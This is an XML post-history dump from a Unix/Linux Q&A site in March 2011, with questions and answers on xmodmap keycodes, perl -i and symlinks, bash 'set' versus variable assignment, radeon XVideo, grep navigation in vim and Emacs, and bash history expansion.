  <row Id="22170" PostHistoryTypeId="5" PostId="9310" RevisionGUID="c2bfe83b-b472-48bf-a05e-44cc2996c1e7" CreationDate="2011-03-15T20:32:21.537" UserId="885" Comment="mention that keysym reassignments are no help" Text="At some point around late 2008 to early 2009, some keycode values (apparently, for the keys that weren't on an XT keyboard) on a standard PC keyboard when running X.org under Linux changed. I don't know whether this was due to a kernel change or an X change. Debian lenny and Ubuntu 8.04 used the old assignment; Debian squeeze and Ubuntu 10.04 used the new assignment.&#xD;&#xA;&#xD;&#xA;So I have two `xmodmaprc` files, one with the old keycodes and one with the new keycodes. How do I determine which one to load from my `.xinitrc` and `.xsession`?&#xD;&#xA;&#xD;&#xA;I want my startup files to be portable with no hassle, so I want to get rid of my present dependency on the machine name (!). And I don't want to introduce a dependency on Linux distribution versions (and anyway that would be information about the client, but it's information about the server that I need). I already have information about the server at this point in my script (all the symbols listed in [`xrdb(1)`](http://www.x.org/archive/X11R6.8.1/doc/xrdb.1.html) are available as environment variables); hopefully my question reduces to “What parameters to I compare to what values?”.&#xD;&#xA;&#xD;&#xA;Note that since I want my startup files to work on machines that I don't administer, keysym reassignments alone are no help. For example, I want to assign my favorite modifier to the &lt;kbd&gt;Win&lt;/kbd&gt; keys, but I can't predict what keysym will be assigned when I log in. However, if there is an XKB concept I can use in place of keycodes (and is independent of any sysadmin customization, so keysyms won't do), I'm willing to switch to XKB.&#xD;&#xA;" />
  <row Id="22171" PostHistoryTypeId="2" PostId="9318" RevisionGUID="4ce4ce47-3bba-4a8b-96cb-b99a62b1cfc7" CreationDate="2011-03-15T20:53:51.623" UserId="2511" Text="A friend of mine points out that if you do:&#xD;&#xA;&#xD;&#xA;    perl -pi.bak -e 's/foo/bar/' somefile&#xD;&#xA;&#xD;&#xA;when &quot;somefile&quot; is actually a symlink, perl does just what the docs say it will do:&#xD;&#xA;&#xD;&#xA;&gt; It does this by renaming the input file, opening&#xD;&#xA;&gt; the output file by the original name, and selecting that&#xD;&#xA;&gt; output file as the default for print() statements.  The extension, if&#xD;&#xA;&gt; supplied, is used to modify the name of the old file to&#xD;&#xA;&gt; make a backup copy [...]&#xD;&#xA;&#xD;&#xA;Which results in a new symlink &quot;somefile.bak&quot; pointing to the unchanged real file, and a new, changed regular file &quot;somefile&quot; with the changes.&#xD;&#xA;&#xD;&#xA;In many cases, following the symlink would be the desired behavior (even if it leaves the correct location of the .bak file ambiguous). Is there a simple way to do this other than testing for symlinks in a wrapper and handling the case appropriately?" />
  <row Id="22172" PostHistoryTypeId="1" PostId="9318" RevisionGUID="4ce4ce47-3bba-4a8b-96cb-b99a62b1cfc7" CreationDate="2011-03-15T20:53:51.623" UserId="2511" Text="Is there a way to make perl -i not clobber symlinks?" />
  <row Id="22173" PostHistoryTypeId="3" PostId="9318" RevisionGUID="4ce4ce47-3bba-4a8b-96cb-b99a62b1cfc7" CreationDate="2011-03-15T20:53:51.623" UserId="2511" Text="ésymlinkàéperlà" />
  <row Id="22174" PostHistoryTypeId="2" PostId="9319" RevisionGUID="e7dde74c-8acc-41db-8993-b9cba288877f" CreationDate="2011-03-15T20:59:46.223" UserId="885" Text="To trace your profile, try invoking your login shell with a name beginning with `-` and with the option `-x` so that it prints . To find out what your login shell is, run `getent passwd $USER`; your login shell is the last field on the line (usually `/bin/something`). To invoke the shell with a name beginning with `-`, make a symbolic link whose name begins with `-` and run that. For example, if your login shell is ksh:&#xD;&#xA;&#xD;&#xA;    ln -s /bin/ksh ./-ksh&#xD;&#xA;    ./-ksh -x&#xD;&#xA;    rm ./-ksh&#xD;&#xA;&#xD;&#xA;I'm not sure if this will work with csh. If you don't find anything interesting, look both in `/etc` and your dot files:&#xD;&#xA;&#xD;&#xA;    grep stty /etc/* ~/.* 2&gt;/dev/null&#xD;&#xA;" />
  <row Id="22175" PostHistoryTypeId="5" PostId="9318" RevisionGUID="5ae299cc-4cc9-40de-a96b-9fb221d122f4" CreationDate="2011-03-15T21:01:37.570" UserId="2511" Comment="added 55 characters in body" Text="A friend of mine points out that if you do:&#xD;&#xA;&#xD;&#xA;    perl -pi.bak -e 's/foo/bar/' somefile&#xD;&#xA;&#xD;&#xA;when &quot;somefile&quot; is actually a symlink, perl does just what the docs say it will do:&#xD;&#xA;&#xD;&#xA;&gt; It does this by renaming the input file, opening&#xD;&#xA;&gt; the output file by the original name, and selecting that&#xD;&#xA;&gt; output file as the default for print() statements.  The extension, if&#xD;&#xA;&gt; supplied, is used to modify the name of the old file to&#xD;&#xA;&gt; make a backup copy [...]&#xD;&#xA;&#xD;&#xA;Which results in a new symlink &quot;somefile.bak&quot; pointing to the unchanged real file, and a new, changed regular file &quot;somefile&quot; with the changes.&#xD;&#xA;&#xD;&#xA;In many cases, following the symlink would be the desired behavior (even if it leaves the correct location of the .bak file ambiguous). Is there a simple way to do this other than testing for symlinks in a wrapper and handling the case appropriately?&#xD;&#xA;&#xD;&#xA;(`sed` does the same thing, for what that's worth.)" />
  <row Id="22176" PostHistoryTypeId="2" PostId="9320" RevisionGUID="689dc903-8071-4eaf-9a1c-f4b6bfb48eb3" CreationDate="2011-03-15T21:03:10.293" UserId="5571" Text="Click the wrench icon.&#xD;&#xA;&#xD;&#xA;Select &quot;Preferences&quot;&#xD;&#xA;&#xD;&#xA;Select &quot;Under the Hood&quot;&#xD;&#xA;&#xD;&#xA;Under &quot;Web Content&quot; you can &quot;Customize Fonts...&quot; -- you'll want to changed the &quot;**Fixed-width font**.&quot;&#xD;&#xA;&#xD;&#xA;For some reason, web browser like to make the monospace font smaller than other text, which can make `code` harder to read.&#xD;&#xA;&#xD;&#xA;Also handy: hold the `control` key and hit `-` or `+` to decrease / increase font size." />
  <row Id="22177" PostHistoryTypeId="6" PostId="9296" RevisionGUID="b63ee325-d9e1-479e-a7ce-c6b1326a53b8" CreationDate="2011-03-15T21:10:17.493" UserId="885" Comment="edited tags" Text="élinuxàéfedoraàécompilingàérpmà" />
  <row Id="22178" PostHistoryTypeId="5" PostId="9290" RevisionGUID="b6513f4c-f308-4a03-9fd5-4399c3c51126" CreationDate="2011-03-15T21:14:29.160" UserId="885" Comment="added hyperlinks for shebang and chkconfig" Text="The first line is the &quot;[she-bang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29)&quot; and is used to execute the script without having to pass it as an argument to a shell command line. The second line is a comment and is understood only by the [`chkconfig`](http://www.centos.org/docs/5/html/5.1/Deployment_Guide/s1-services-chkconfig.html) program. It is used to ensure the script will start on a specific run-level." />
  <row Id="22179" PostHistoryTypeId="2" PostId="9321" RevisionGUID="b8058f24-716d-4e7f-895f-331f2fe2734b" CreationDate="2011-03-15T22:30:20.483" UserId="885" Text="If you are an ordinary user on `host2`, you can see who is currently logged in from where with the `who` command, and who logged in from where in the past with the `last` command. Both show the remote host name or IP address for ssh logins; this is usually `host1`, but can be a gateway that relayed the ssh connection.&#xD;&#xA;&#xD;&#xA;It is in principle impossible to know who `user1` is. After all, `host1` might not even be running a multiuser system, or might be an anonymous relay. This doesn't mean `user2` has absolute privacy amongst the known users of `host1`; for example, if you're the administrator on `host2`, and the user uses public key authentication, and you've configured the ssh server to dump information about the public key used, then you can find out the user's public key, and perhaps correlate it from information obtained elsewhere.&#xD;&#xA;&#xD;&#xA;Some past questions on [Super User](http://superuser.com/) may interest you:&#xD;&#xA;&#xD;&#xA;* http://superuser.com/questions/202123/if-someone-is-signed-into-ssh-on-my-computer-can-i-access-their-computer&#xD;&#xA;* http://superuser.com/questions/174494/get-ssh-session-information&#xD;&#xA;" />
  <row Id="22180" PostHistoryTypeId="5" PostId="9255" RevisionGUID="366c17c8-58b2-45df-8902-428ed2e55212" CreationDate="2011-03-15T23:09:54.400" UserId="5519" Comment="Posted code that puzzles me." Text="I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;“You've misinterpreted something, but what? Post the code that puzzles you. – Gilles yesterday”&#xD;&#xA;&#xD;&#xA;Please consider this snippet, where I set the MONGODB variable as:&#xD;&#xA;&#xD;&#xA;set MONGODB=“/usr/local/mongodb/bin”&#xD;&#xA;&#xD;&#xA;export PATH=${PATH}:${MONGODB}&#xD;&#xA;&#xD;&#xA;I source .bash_profile in terminal.&#xD;&#xA;I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:&#xD;&#xA;&#xD;&#xA;Whereas, if I export MONGODB instead, and source my .bash_profile, I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/local/mongodb/bin&#xD;&#xA;&#xD;&#xA;Perhaps, using &quot;set&quot; is improper?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22181" PostHistoryTypeId="5" PostId="9255" RevisionGUID="b0f5ec04-6908-4641-8b74-da28ac55b22b" CreationDate="2011-03-15T23:16:50.023" UserId="2511" Comment="added 12 characters in body" Text="I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;“You've misinterpreted something, but what? Post the code that puzzles you. – Gilles yesterday”&#xD;&#xA;&#xD;&#xA;Please consider this snippet, where I set the MONGODB variable as:&#xD;&#xA;&#xD;&#xA;    set MONGODB=&quot;/usr/local/mongodb/bin&quot;&#xD;&#xA;    &#xD;&#xA;    export PATH=${PATH}:${MONGODB}&#xD;&#xA;&#xD;&#xA;I source .bash_profile in terminal.&#xD;&#xA;I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:&#xD;&#xA;&#xD;&#xA;Whereas, if I export MONGODB instead, and source my .bash_profile, I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/local/mongodb/bin&#xD;&#xA;&#xD;&#xA;Perhaps, using &quot;set&quot; is improper?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22182" PostHistoryTypeId="8" PostId="9255" RevisionGUID="f4c29f8e-1088-4edd-a21c-09f0f7c2adbd" CreationDate="2011-03-15T23:18:36.073" UserId="2511" Comment="Rollback to [366c17c8-58b2-45df-8902-428ed2e55212]" Text="I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;“You've misinterpreted something, but what? Post the code that puzzles you. – Gilles yesterday”&#xD;&#xA;&#xD;&#xA;Please consider this snippet, where I set the MONGODB variable as:&#xD;&#xA;&#xD;&#xA;set MONGODB=“/usr/local/mongodb/bin”&#xD;&#xA;&#xD;&#xA;export PATH=${PATH}:${MONGODB}&#xD;&#xA;&#xD;&#xA;I source .bash_profile in terminal.&#xD;&#xA;I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:&#xD;&#xA;&#xD;&#xA;Whereas, if I export MONGODB instead, and source my .bash_profile, I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/local/mongodb/bin&#xD;&#xA;&#xD;&#xA;Perhaps, using &quot;set&quot; is improper?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22183" PostHistoryTypeId="5" PostId="9255" RevisionGUID="5c421c30-0489-44c6-9382-54200705679b" CreationDate="2011-03-15T23:23:48.237" UserId="2511" Comment="remove dumb &quot;smart&quot; quotes" Text="I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;“You've misinterpreted something, but what? Post the code that puzzles you. – Gilles yesterday”&#xD;&#xA;&#xD;&#xA;Please consider this snippet, where I set the MONGODB variable as:&#xD;&#xA;&#xD;&#xA;    set MONGODB=&quot;/usr/local/mongodb/bin&quot;    &#xD;&#xA;    export PATH=${PATH}:${MONGODB}&#xD;&#xA;&#xD;&#xA;I source .bash_profile in terminal.&#xD;&#xA;I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:&#xD;&#xA;&#xD;&#xA;Whereas, if I export MONGODB instead, and source my .bash_profile, I see the following echo ...&#xD;&#xA;&#xD;&#xA;PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/local/mongodb/bin&#xD;&#xA;&#xD;&#xA;Perhaps, using &quot;set&quot; is improper?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22184" PostHistoryTypeId="25" PostId="9314" RevisionGUID="2183f79f-98bf-471a-bf69-230a1704d0b0" CreationDate="2011-03-15T23:31:19.727" Comment="http://twitter.com/#!/StackUnix/status/47802084258623488" />
  <row Id="22185" PostHistoryTypeId="2" PostId="9322" RevisionGUID="2e261f96-4e2a-4e65-97d4-8780954480e7" CreationDate="2011-03-15T23:32:55.403" UserId="2511" Text="&gt; Perhaps, using &quot;set&quot; is improper?&#xD;&#xA;&#xD;&#xA;Yes, there's your problem. `set` doesn't do what you might expect. From the [documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; This builtin is so complicated that it&#xD;&#xA;&gt; deserves its own section. `set` allows&#xD;&#xA;&gt; you to change the values of shell&#xD;&#xA;&gt; options and set the positional&#xD;&#xA;&gt; parameters, or to display the names&#xD;&#xA;&gt; and values of shell variables.&#xD;&#xA;&#xD;&#xA;Note the conspicuous lack of &quot;actually set shell variables&quot; in that list of things it does. Buried in all the docs, you'll find that what it's doing is setting the shell's *positional parameters* to the arguments you've given. You're just giving one argument, all of `MONGODB=&quot;/usr/local/mongodb/bin&quot;`. So `$1` gets set to that (and `$#` gets set to 1, since there's just the one argument).&#xD;&#xA;&#xD;&#xA;Score one for anti-mnemonic Unix command names, huh?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So anyway, try just:&#xD;&#xA;&#xD;&#xA;    MONGODB=/usr/local/mongodb/bin&#xD;&#xA;    export PATH=${PATH}:${MONGODB}&#xD;&#xA;&#xD;&#xA;and it'll work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html" />
  <row Id="22186" PostHistoryTypeId="4" PostId="9255" RevisionGUID="d4eb5a7a-c746-426c-bd26-56057703c149" CreationDate="2011-03-15T23:33:43.233" UserId="2511" Comment="edited title" Text="Bash:  why isn't &quot;set&quot; behaving like I expect it to?" />
  <row Id="22187" PostHistoryTypeId="2" PostId="9323" RevisionGUID="1e7212cf-1eb0-4f11-a7f9-b00fc8e23555" CreationDate="2011-03-15T23:34:19.820" UserId="885" Text="    set MONGODB=&quot;/usr/local/mongodb/bin&quot;&#xD;&#xA;&#xD;&#xA;This is not a variable assignment. (It is one in C shell (csh, tcsh), but not in Bourne-style shells (sh, ash, bash, ksh, zsh, …).) This is a call to the `set` built-in, which sets the positional parameters, i.e. `$1`, `$2`, etc. Try running this command in a terminal, then `echo $1`.&#xD;&#xA;&#xD;&#xA;To assign a value to a shell variable, just write&#xD;&#xA;&#xD;&#xA;    MONGODB=&quot;/usr/local/mongodb/bin&quot;&#xD;&#xA;&#xD;&#xA;This creates a shell variable (also called a (named) parameter), which you can access with `$MONGODB`. The variable remains internal to the shell unless you've exported it with `export MONGODB`. If exported, the variable is also visible to all processes started by that shell, through the [environment](http://en.wikipedia.org/wiki/Environment_variable). You can condense the assignment and the export into a single line:&#xD;&#xA;&#xD;&#xA;    export MONGODB=&quot;/usr/local/mongodb/bin&quot;&#xD;&#xA;&#xD;&#xA;For what you're doing, there doesn't seem to be a need for `MONGODB` outside the script, and `PATH` is already exported (once a variable is exported, if you assign a new value, it is reflected in the environment). So you can write:&#xD;&#xA;&#xD;&#xA;    MONGODB=&quot;/usr/local/mongodb/bin&quot;    &#xD;&#xA;    PATH=${PATH}:${MONGODB}&#xD;&#xA;" />
  <row Id="22188" PostHistoryTypeId="5" PostId="9305" RevisionGUID="4cd6b818-c15c-458e-b450-9c660435e2a3" CreationDate="2011-03-15T23:49:36.217" UserId="885" Comment="add that the firmware is loaded" Text="On my computer running Debian squeeze with the `radeon` driver, the XVideo extension doesn't work (the extension itself is there but the hardware is not supported). `xvinfo` shows&#xD;&#xA;&#xD;&#xA;    X-Video Extension version 2.2&#xD;&#xA;    screen #0&#xD;&#xA;     no adaptors present&#xD;&#xA;&#xD;&#xA;The adapter is a Gigabyte Radeon X1650, shown by `lspci` as&#xD;&#xA;&#xD;&#xA;    01:00.0 VGA compatible controller: ATI Technologies Inc RV535 [Radeon X1650 Series] (rev 9e)&#xD;&#xA;&#xD;&#xA;The kernel driver is loaded, as `lsmod | grep radeon` shows:&#xD;&#xA;&#xD;&#xA;    radeon                574044  1 &#xD;&#xA;    ttm                    40018  1 radeon&#xD;&#xA;    drm_kms_helper         20065  1 radeon&#xD;&#xA;    drm                   142391  3 radeon,ttm,drm_kms_helper&#xD;&#xA;    i2c_algo_bit            4225  1 radeon&#xD;&#xA;    i2c_core               15712  6 eeprom,radeon,drm_kms_helper,drm,i2c_algo_bit,i2c_i801&#xD;&#xA;&#xD;&#xA;The required (?) ([non-free](http://packages.debian.org/squeeze/firmware-linux-nonfree)) firmware also seems to be loaded. From my kernel logs:&#xD;&#xA;&#xD;&#xA;    Mar 14 18:59:33 darkstar kernel: [   11.883832] [drm] Loading R500 Microcode&#xD;&#xA;    Mar 14 18:59:33 darkstar kernel: [   11.883834] platform radeon_cp.0: firmware: requesting radeon/R520_cp.bin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;XVideo worked under Debian lenny. After upgrading to squeeze (Linux kernel: `2.6.32-5-vserver-amd64`; `xserver-xorg-video-ati 6.13.1-2+squeeze1`) it doesn't. How do I get it back?&#xD;&#xA;&#xD;&#xA;[(link to the X server logs)](http://pastebin.com/sPchSp3g)" />
  <row Id="22189" PostHistoryTypeId="2" PostId="9324" RevisionGUID="2c85898b-ff08-4f38-aa79-6f53883b461f" CreationDate="2011-03-16T00:05:23.113" UserId="4319" Text="I wonder whether the small [`sponge`](http://joey.kitenet.net/code/moreutils/) general-purpose utility (&quot;soak up standard input and write to a file&quot;) from [moreutils](http://packages.debian.org/source/sid/moreutils) will be helpful in this case and whether it will follow the symlink.&#xD;&#xA;&#xD;&#xA;The author [describes](http://riva.ucam.org/~cjwatson/blog/2006/02/06#2006-02-06-sponge) `sponge` like this:&#xD;&#xA;&#xD;&#xA;&gt; It addresses the problem of editing&#xD;&#xA;&gt; files in-place with Unix tools, namely&#xD;&#xA;&gt; that if you just redirect output to&#xD;&#xA;&gt; the file you're trying to edit then&#xD;&#xA;&gt; the redirection takes effect&#xD;&#xA;&gt; (clobbering the contents of the file)&#xD;&#xA;&gt; before the first command in the&#xD;&#xA;&gt; pipeline gets round to reading from&#xD;&#xA;&gt; the file. Switches like `sed -i` and&#xD;&#xA;&gt; `perl -i` work around this, but not&#xD;&#xA;&gt; every command you might want to use in&#xD;&#xA;&gt; a pipeline has such an option, and you&#xD;&#xA;&gt; can't use that approach with&#xD;&#xA;&gt; multiple-command pipelines anyway.&#xD;&#xA;&gt; &#xD;&#xA;&gt; I normally use sponge a bit like this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sed '...' file | grep '...' | sponge file&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22190" PostHistoryTypeId="2" PostId="9325" RevisionGUID="a98498f3-4684-4451-bac4-d306321c5a09" CreationDate="2011-03-16T01:05:23.177" UserId="2362" Text="Algorithmic blackout:&#xD;&#xA;&#xD;&#xA;0. problem: find the files that matches&#xD;&#xA;1. problem: stack/buffer the matches&#xD;&#xA;2. move the cursor to the next file of the stack and the location of the match&#xD;&#xA;3. repeat step 2&#xD;&#xA;&#xD;&#xA;I recall that I used some thing, probably vi/m in different environment, and I could easily traverse to matches and make fast edits like:&#xD;&#xA;&#xD;&#xA;    :grep -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; * &#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;damn forgot it&gt;&#xD;&#xA;    :pn&#xD;&#xA;    &lt;forward and so on&gt;&#xD;&#xA;&#xD;&#xA;then I once created a wild one-liner with some grep-xargs-something-things-vi but I am starting to smell reinventing-the-wheel. How do you do it?&#xD;&#xA;" />
  <row Id="22191" PostHistoryTypeId="1" PostId="9325" RevisionGUID="a98498f3-4684-4451-bac4-d306321c5a09" CreationDate="2011-03-16T01:05:23.177" UserId="2362" Text="Cursor to match, edit, cursor to next match, edit -- how in a directory?" />
  <row Id="22192" PostHistoryTypeId="3" PostId="9325" RevisionGUID="a98498f3-4684-4451-bac4-d306321c5a09" CreationDate="2011-03-16T01:05:23.177" UserId="2362" Text="étextöprocessingàégrepà" />
  <row Id="22193" PostHistoryTypeId="2" PostId="9326" RevisionGUID="9f94d2c6-3541-4510-955a-12ebd861589b" CreationDate="2011-03-16T01:26:44.260" UserId="5759" Text="Hi&#xD;&#xA;&#xD;&#xA;I have a 8.2 Installation running here on a MacBook 5,5 with ZFS root on a GPT partition (next to OSX, grml and Windows 7)&#xD;&#xA;&#xD;&#xA;I had a similar error with older releases of FreeBSD, but that has been resolved at least for my hardware revision. jkim@ did an awesome Job and was very active in the freebsd.org forums: http://forums.freebsd.org/showthread.php?t=12289&#xD;&#xA;&#xD;&#xA;This post is not necessarily very helpful, but could lead in the right direction. Feel free to ask me about any details." />
  <row Id="22194" PostHistoryTypeId="6" PostId="9318" RevisionGUID="2660dd24-b77b-4c45-8379-004cec0d392b" CreationDate="2011-03-16T01:44:57.583" UserId="4319" Comment="Added tags because the question turned out to be not about perl exclusively, but about convenient utilities for the command-line similar to &quot;perl -i&quot;." Text="écommandölineàésymlinkàéutilitiesàéperlà" />
  <row Id="22195" PostHistoryTypeId="24" PostId="9318" RevisionGUID="2660dd24-b77b-4c45-8379-004cec0d392b" CreationDate="2011-03-16T01:44:57.583" Comment="Proposed by 4319 approved by 2511 edit id of 207" />
  <row Id="22196" PostHistoryTypeId="2" PostId="9327" RevisionGUID="dc77901f-8945-42b5-b258-93c7c5467761" CreationDate="2011-03-16T02:08:32.007" UserId="4319" Text="&lt;kbd&gt;M-x&lt;/kbd&gt;` grep` in Emacs, then I can use the usual keys for following the found matches represented as links, and to switch between buffers back or wahtever I want.&#xD;&#xA;&#xD;&#xA;One can also learn the specialized keys for jumping to the next match." />
  <row Id="22197" PostHistoryTypeId="5" PostId="9325" RevisionGUID="8f54d3d4-d638-460d-bd01-87731067d215" CreationDate="2011-03-16T02:14:20.347" UserId="2362" Comment="added 234 characters in body" Text="Algorithmic blackout:&#xD;&#xA;&#xD;&#xA;0. problem: find the files that matches&#xD;&#xA;1. problem: stack/buffer the matches&#xD;&#xA;2. move the cursor to the next file of the stack and the location of the match&#xD;&#xA;3. repeat step 2&#xD;&#xA;&#xD;&#xA;Things I have used earlier to tackle the issue.&#xD;&#xA;&#xD;&#xA;**Vi/m: (some small thing missing)**&#xD;&#xA;&#xD;&#xA;    :grep -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; * &#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;damn forgot it&gt;&#xD;&#xA;    :pn&#xD;&#xA;    &lt;forward and so on&gt;&#xD;&#xA;&#xD;&#xA;**emacs:** `M-x grep Enter` and then to have `grep  -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; *` but now in mystery. How can you do the fast hierarchial edits? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**shellesque:** then I once created a wild one-liner with some grep-xargs-something-things-vi but I am starting to smell reinventing-the-wheel.&#xD;&#xA;&#xD;&#xA;Sorry about the vim/emacs juxtaposition but I don't care which tool you use, use the most convenient (xargs/emacs/vi/m just examples)." />
  <row Id="22198" PostHistoryTypeId="5" PostId="67" RevisionGUID="2654abee-67bc-482a-8062-037e837046b1" CreationDate="2011-03-16T02:23:11.203" UserId="73" Comment="added 4 characters in body" Text="This expands somewhat on the `!!` trick mentioned in [this answer](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-prompt-features-or-tricks/32#32). There are actually a bunch of history-related commands that tend to get forgotten about (people tend to stab &lt;kbd&gt;Up&lt;/kbd&gt; 100 times instead looking for a command they know they typed).&#xD;&#xA;&#xD;&#xA;* The `history` command will show a list of recently run commands with an event designator to the left&#xD;&#xA;* `!N` will substitute the command associated with event designator `N`&#xD;&#xA;* `!-N` will substitute the `N` &lt;sup&gt;th&lt;/sup&gt; most recent command; e.g. `!-1` will substitute the most recent command, `!-2` the second most recent, etc.&#xD;&#xA;* As mentioned in the other answer, `!!` is shorthand for `!-1`, to quickly substitute the last command&#xD;&#xA;* `!string` will substitute the most recent command that begins with `string`&#xD;&#xA;* `!?string?` will substitute the most recent command that contains `string`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Word designators can be added on to a `!` history command to modify the results. A colon separates the event and word designators, e.g. `!!:0`. The event designator `!!` can be abbreviated to just `!` when using a word designator, so `!!:0` is equivalent to `!:0`.&#xD;&#xA;&#xD;&#xA;* `!:0` will get the command that was executed&#xD;&#xA;* `!:1` will get the first argument (and `!:2` the second, etc.)&#xD;&#xA;* `!:2-3` will get the second and third arguments&#xD;&#xA;* `!:^` is another way to get the first argument. `!:$` will get the last&#xD;&#xA;* `!:*` will get all arguments (but *not* the command)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Modifiers can also be appended to a `!` history command, each prefixed by a colon. Any number can be stacked on (e.g. `!:t:r:p`).&#xD;&#xA;&#xD;&#xA;* `h` -- Line up to the base filename&#xD;&#xA;* `t` -- Only the base filename&#xD;&#xA;* `r` -- Line up to the filename extension&#xD;&#xA;* `e` -- Only the filename extension&#xD;&#xA;* `s/search/replacement` -- Replace the first occurrence of `search` with `replacement`&#xD;&#xA;* `gs/search/replacement` -- Replace all occurrences of `search` with `replacement`&#xD;&#xA;" />
  <row Id="22199" PostHistoryTypeId="5" PostId="9327" RevisionGUID="cb62f41d-267e-4251-9f9f-e688dabf2f49" CreationDate="2011-03-16T02:28:18.473" UserId="4319" Comment="The &quot;specialized&quot; Emacs keys for &quot;go to&quot; added." Text="&lt;kbd&gt;M-x&lt;/kbd&gt;` grep` in Emacs, then I can use the usual keys for following the found matches represented as links, and to switch between buffers back or wahtever I want.&#xD;&#xA;&#xD;&#xA;One can also learn the specialized keys for jumping to the next match.&#xD;&#xA;&#xD;&#xA;The &quot;specialized&quot; key to jump immediately to the next found match is quite easy to rmember: it's &lt;kbd&gt;M-g n&lt;/kbd&gt; (&lt;b&gt;g&lt;/b&gt;o to &lt;b&gt;n&lt;/b&gt;ext) (or &lt;kbd&gt;C-x \`&lt;/kbd&gt;) for `next-error`. `next-error` is a more general-purpose thing than just for `grep`; from the docs (&lt;kbd&gt;C-h k M-g n&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&gt; [It] normally uses the most recently started&#xD;&#xA;&gt; compilation, grep, or occur buffer.&#xD;&#xA;&#xD;&#xA;(Indeed, first I learned it for LaTeX &quot;compilation&quot;.)&#xD;&#xA;&#xD;&#xA;More of the general &quot;go to&quot; commands bound to keys in my Emacs (&lt;kbd&gt;M-g C-h&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;Global Bindings Starting With &lt;kbd&gt;M-g&lt;/kbd&gt;:&#xD;&#xA;key             binding&#xD;&#xA;---             -------&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g ESC&lt;/kbd&gt;		Prefix Command&#xD;&#xA;&lt;kbd&gt;M-g g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g M-g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="22200" PostHistoryTypeId="25" PostId="9325" RevisionGUID="d39bbb6a-1fa5-4d66-bf24-117688b3200f" CreationDate="2011-03-16T02:31:19.947" Comment="http://twitter.com/#!/StackUnix/status/47847383966547968" />
  <row Id="22201" PostHistoryTypeId="5" PostId="6" RevisionGUID="f62a3ef9-20a0-49ca-8520-05b0218abf87" CreationDate="2011-03-16T03:14:07.070" UserId="2511" Comment="deleted 2 characters in body; edited tags" Text="Share your command line features and tricks for Unix/Linux. Try to keep it shell/distro agnostic if possible. Interested in seeing aliases, one-liners, keyboard shortcuts, small shell scripts, etc." />
  <row Id="22202" PostHistoryTypeId="6" PostId="6" RevisionGUID="f62a3ef9-20a0-49ca-8520-05b0218abf87" CreationDate="2011-03-16T03:14:07.070" UserId="2511" Comment="deleted 2 characters in body; edited tags" Text="éshellàécommandölineàétipsöandötricksà" />
